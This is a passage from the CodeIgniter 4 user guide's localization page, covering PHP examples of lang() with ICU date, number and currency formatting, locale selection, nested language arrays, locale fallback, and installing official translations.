    <span class="s1">&#39;shortDate&#39;</span>  <span class="o">=&gt;</span> <span class="s1">&#39;The date is now {0, date, short}.&#39;</span><span class="p">,</span>
    <span class="s1">&#39;mediumDate&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;The date is now {0, date, medium}.&#39;</span><span class="p">,</span>
    <span class="s1">&#39;longDate&#39;</span>   <span class="o">=&gt;</span> <span class="s1">&#39;The date is now {0, date, long}.&#39;</span><span class="p">,</span>
    <span class="s1">&#39;fullDate&#39;</span>   <span class="o">=&gt;</span> <span class="s1">&#39;The date is now {0, date, full}.&#39;</span><span class="p">,</span>
    <span class="s1">&#39;spelledOut&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;34 is {0, spellout}&#39;</span><span class="p">,</span>
    <span class="s1">&#39;ordinal&#39;</span>    <span class="o">=&gt;</span> <span class="s1">&#39;The ordinal is {0, ordinal}&#39;</span><span class="p">,</span>
    <span class="s1">&#39;duration&#39;</span>   <span class="o">=&gt;</span> <span class="s1">&#39;It has been {0, duration}&#39;</span><span class="p">,</span>
<span class="p">];</span>

<span class="c1">// Displays &quot;The time is now 11:18 PM&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.shortTime&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nb">time</span><span class="p">()]);</span>
<span class="c1">// Displays &quot;The time is now 11:18:50 PM&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.mediumTime&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nb">time</span><span class="p">()]);</span>
<span class="c1">// Displays &quot;The time is now 11:19:09 PM CDT&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.longTime&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nb">time</span><span class="p">()]);</span>
<span class="c1">// Displays &quot;The time is now 11:19:26 PM Central Daylight Time&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.fullTime&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nb">time</span><span class="p">()]);</span>

<span class="c1">// Displays &quot;The date is now 8/14/16&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.shortDate&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nb">time</span><span class="p">()]);</span>
<span class="c1">// Displays &quot;The date is now Aug 14, 2016&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.mediumDate&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nb">time</span><span class="p">()]);</span>
<span class="c1">// Displays &quot;The date is now August 14, 2016&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.longDate&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nb">time</span><span class="p">()]);</span>
<span class="c1">// Displays &quot;The date is now Sunday, August 14, 2016&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.fullDate&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nb">time</span><span class="p">()]);</span>

<span class="c1">// Displays &quot;34 is thirty-four&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.spelledOut&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">34</span><span class="p">]);</span>

<span class="c1">// Displays &quot;It has been 408,676:24:35&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.ordinal&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nb">time</span><span class="p">()]);</span>
</pre></div>
</div>
<p>You should be sure to read up on the MessageFormatter class and the underlying ICU formatting to get a better
idea on what capabilities it has, like performing the conditional replacement, pluralization, and more. Both of the links provided
earlier will give you an excellent idea as to the options available.</p>
</div>
<div class="section" id="specifying-locale">
<h4>Specifying Locale<a class="headerlink" href="#specifying-locale" title="Permalink to this headline">¶</a></h4>
<p>To specify a different locale to be used when replacing parameters, you can pass the locale in as the
third parameter to the <code class="docutils literal notranslate"><span class="pre">lang()</span></code> method.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Displays &quot;The time is now 23:21:28 GMT-5&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Test.longTime&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nb">time</span><span class="p">()],</span> <span class="s1">&#39;ru-RU&#39;</span><span class="p">);</span>

<span class="c1">// Displays &quot;ÂŁ7.41&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;{price, number, currency}&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;price&#39;</span> <span class="o">=&gt;</span> <span class="mf">7.41</span><span class="p">],</span> <span class="s1">&#39;en-GB&#39;</span><span class="p">);</span>
<span class="c1">// Displays &quot;$7.41&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;{price, number, currency}&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;price&#39;</span> <span class="o">=&gt;</span> <span class="mf">7.41</span><span class="p">],</span> <span class="s1">&#39;en-US&#39;</span><span class="p">);</span>
</pre></div>
</div>
</div>
<div class="section" id="nested-arrays">
<h4>Nested Arrays<a class="headerlink" href="#nested-arrays" title="Permalink to this headline">¶</a></h4>
<p>Language files also allow nested arrays to make working with lists, etc
 easier.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Language/en/Fruit.php</span>

<span class="k">return</span> <span class="p">[</span>
    <span class="s1">&#39;list&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span>
        <span class="s1">&#39;Apples&#39;</span><span class="p">,</span>
        <span class="s1">&#39;Bananas&#39;</span><span class="p">,</span>
        <span class="s1">&#39;Grapes&#39;</span><span class="p">,</span>
        <span class="s1">&#39;Lemons&#39;</span><span class="p">,</span>
        <span class="s1">&#39;Oranges&#39;</span><span class="p">,</span>
        <span class="s1">&#39;Strawberries&#39;</span>
    <span class="p">]</span>
<span class="p">];</span>

<span class="c1">// Displays &quot;Apples, Bananas, Grapes, Lemons, Oranges, Strawberries&quot;</span>
<span class="k">echo</span> <span class="nb">implode</span><span class="p">(</span><span class="s1">&#39;, &#39;</span><span class="p">,</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Fruit.list&#39;</span><span class="p">));</span>
</pre></div>
</div>
</div>
</div>
<div class="section" id="language-fallback">
<h3><a class="toc-backref" href="#id8">Language Fallback</a><a class="headerlink" href="#language-fallback" title="Permalink to this headline">¶</a></h3>
<p>If you have a set of messages for a given locale, for instance
<code class="docutils literal notranslate"><span class="pre">Language/en/app.php</span></code>, you can add language variants for that locale,
each in its own folder, for instance <code class="docutils literal notranslate"><span class="pre">Language/en-US/app.php</span></code>.</p>
<p>You only need to provide values for those messages that would be
localized differently for that locale variant. Any missing message
definitions will be automatically pulled from the main locale settings.</p>
<p>It gets better - the localization can fall all the way back to English,
in case new messages are added to the framework and you haven’t had
a chance to translate them yet for your locale.</p>
<p>So, if you are using the locale <code class="docutils literal notranslate"><span class="pre">fr-CA</span></code>, then a localized
message will first be sought in <code class="docutils literal notranslate"><span class="pre">Language/fr/CA</span></code>, then in
<code class="docutils literal notranslate"><span class="pre">Language/fr</span></code>, and finally in <code class="docutils literal notranslate"><span class="pre">Language/en</span></code>.</p>
</div>
<div class="section" id="message-translations">
<h3><a class="toc-backref" href="#id9">Message Translations</a><a class="headerlink" href="#message-translations" title="Permalink to this headline">¶</a></h3>
<p>We have an “official” set of translations in their
<a class="reference external" href="https://github.com/codeigniter4/translations">own repository</a>.</p>
<p>You could download that repository, and copy its <code class="docutils literal notranslate"><span class="pre">Language</span></code> folder
into your <code class="docutils literal notranslate"><span class="pre">app</span></code>. The incorporated translations will be automatically
picked up because the <code class="docutils literal notranslate"><span class="pre">App</span></code> namespace is mapped to your <code class="docutils literal notranslate"><span class="pre">app</span></code> folder.</p>
<p>Alternately, a better practice would be to <code class="docutils literal notranslate"><span class="pre">composer</span> <span class="pre">require</span> <span class="pre">codeigniter4/translations</span></code>
inside your project, and the translated messages will be automatically picked
up because the translations folders get mapped appropriately.</p>
</div>
</div>
</div>


           </div>
           
          </div>
          <footer>
    <div class="rst-footer-buttons" role="navigation" aria-label="footer navigation">
        <a href="alternative_php.html" class="btn btn-neutral float-right" title="Alternate PHP Syntax for View Files" accesskey="n" rel="next">Next <span class="fa fa-arrow-circle-right" aria-hidden="true"></span></a>
        <a href="api_responses.html" class="btn btn-neutral float-left" title="API Response Trait" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left" aria-hidden="true"></span> Previous</a>
    </div>

  <hr/>

  <div role="contentinfo">
    <p>
        &#169; Copyright 2019-2021 CodeIgniter Foundation.
      <span class="lastupdated">
        Last updated on Feb 01, 2021.
      </span>

    </p>
  </div>
    
    
    
    Built with <a href="https://www.sphinx-doc.org/">Sphinx</a> using a
    
    <a href="https://github.com/readthedocs/sphinx_rtd_theme">theme</a>
    
    provided by <a href="https://readthedocs.org">Read the Docs</a>. 

</footer>
        </div>
      </div>

    </section>

  </div>
  

  <script type="text/javascript">
      jQuery(function () {
          SphinxRtdTheme.Navigation.enable(false);
      });
  </script>

  
  
    
   

</body>
</html>